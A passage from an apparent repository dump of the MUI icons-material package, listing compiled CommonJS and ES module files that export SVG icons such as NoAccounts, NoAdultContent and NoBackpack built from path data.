    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15m6.31 1.9L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccountsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15m6.31 1.9L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccountsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15m6.31 1.9L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccountsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15m6.31 1.9L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccountsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-.52 0-1 .12-1.44.32l4.62 4.62c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6m0-4C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12m8 8c-1.74 0-3.34-.56-4.65-1.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.35 18.5c1.31.94 2.91 1.5 4.65 1.5s3.34-.56 4.65-1.5C15.34 17.56 13.74 17 12 17s-3.34.56-4.65 1.5m7.83-7.56-4.62-4.62C11 6.12 11.48 6 12 6c1.93 0 3.5 1.57 3.5 3.5 0 .52-.12 1-.32 1.44\",\n  opacity: \".3\"\n}, \"1\")], 'NoAccountsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-.52 0-1 .12-1.44.32l4.62 4.62c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6m0-4C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12m8 8c-1.74 0-3.34-.56-4.65-1.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.35 18.5c1.31.94 2.91 1.5 4.65 1.5s3.34-.56 4.65-1.5C15.34 17.56 13.74 17 12 17s-3.34.56-4.65 1.5m7.83-7.56-4.62-4.62C11 6.12 11.48 6 12 6c1.93 0 3.5 1.57 3.5 3.5 0 .52-.12 1-.32 1.44\",\n  opacity: \".3\"\n}, \"1\")], 'NoAccountsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContent');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContent');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAdultContentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.54 1.69-4.9L7.59 9h2.83L7.1 5.69C8.46 4.63 10.15 4 12 4c4.41 0 8 3.59 8 8 0 1.85-.63 3.54-1.69 4.9l-1.9-1.9h-2.83l3.31 3.31C15.54 19.37 13.85 20 12 20c-4.41 0-8-3.59-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.25 14-1.5-2 1.5-2h-1.5L12 11l-.75-1h-1.5l1.5 2-1.5 2h1.5l.75-1 .75 1zM8 10l-.75 1-.75-1H5l1.5 2L5 14h1.5l.75-1L8 14h1.5L8 12l1.5-2zm8 4 .75-1 .75 1H19l-1.5-2 1.5-2h-1.5l-.75 1-.75-1h-1.5l1.5 2-1.5 2z\"\n}, \"1\")], 'NoAdultContentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.76 2.76C4.06 7.31 4 7.64 4 8v12c0 1.1.9 2 2 2h12c.34 0 .65-.09.93-.24l.85.85zM6 14v-2h3.17l2 2zm8.83-2L6.98 4.15c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V12z\"\n}), 'NoBackpack');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.76 2.76C4.06 7.31 4 7.64 4 8v12c0 1.1.9 2 2 2h12c.34 0 .65-.09.93-.24l.85.85zM6 14v-2h3.17l2 2zm8.83-2L6.98 4.15c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V12z\"\n}), 'NoBackpack');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.98 4.15c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V8c0-1.1-.9-2-2-2H8.83zM14.83 12l1.67 1.67V12zm4.95 10.61-.85-.85c-.28.15-.59.24-.93.24H6c-1.1 0-2-.9-2-2V8c0-.36.06-.69.15-1.02L1.39 4.22 2.8 2.81l18.38 18.38zM17.17 20l-6-6H7.5v-2h1.67L6 8.83V20z\"\n}), 'NoBackpackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.98 4.15c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V8c0-1.1-.9-2-2-2H8.83zM14.83 12l1.67 1.67V12zm4.95 10.61-.85-.85c-.28.15-.59.24-.93.24H6c-1.1 0-2-.9-2-2V8c0-.36.06-.69.15-1.02L1.39 4.22 2.8 2.81l18.38 18.38zM17.17 20l-6-6H7.5v-2h1.67L6 8.83V20z\"\n}), 'NoBackpackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.98 4.15c.01 0 .01-.01.02-.01V3.5C7 2.67 7.67 2 8.5 2s1.5.67 1.5 1.5V4h4v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.64c1.72.45 3 2 3 3.86v9.17l-2.03-2.03c.01-.05.03-.09.03-.14v-2c0-.55-.45-1-1-1h-2.17zM20.49 21.9c-.39.39-1.02.39-1.41 0l-.14-.14c-.29.15-.6.24-.94.24H6c-1.1 0-2-.9-2-2V8c0-.36.06-.69.15-1.02L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11.17 14l-2-2H7c-.55 0-1 .45-1 1s.45 1 1 1z\"\n}), 'NoBackpackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.98 4.15c.01 0 .01-.01.02-.01V3.5C7 2.67 7.67 2 8.5 2s1.5.67 1.5 1.5V4h4v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.64c1.72.45 3 2 3 3.86v9.17l-2.03-2.03c.01-.05.03-.09.03-.14v-2c0-.55-.45-1-1-1h-2.17zM20.49 21.9c-.39.39-1.02.39-1.41 0l-.14-.14c-.29.15-.6.24-.94.24H6c-1.1 0-2-.9-2-2V8c0-.36.06-.69.15-1.02L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11.17 14l-2-2H7c-.55 0-1 .45-1 1s.45 1 1 1z\"\n}), 'NoBackpackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.76 2.76C4.06 7.31 4 7.64 4 8v14h15.17l.61.61zM6 14v-2h3.17l2 2zm.98-9.85c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V12h-3.17z\"\n}), 'NoBackpackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.76 2.76C4.06 7.31 4 7.64 4 8v14h15.17l.61.61zM6 14v-2h3.17l2 2zm.98-9.85c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V12h-3.17z\"\n}), 'NoBackpackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 15.17V8c0-1.1-.9-2-2-2H8.83l6 6h1.67v1.67zM17.17 20l-6-6H7.5v-2h1.67L6 8.83V20z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.98 4.15c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V8c0-1.1-.9-2-2-2H8.83zM14.83 12l1.67 1.67V12zm4.95 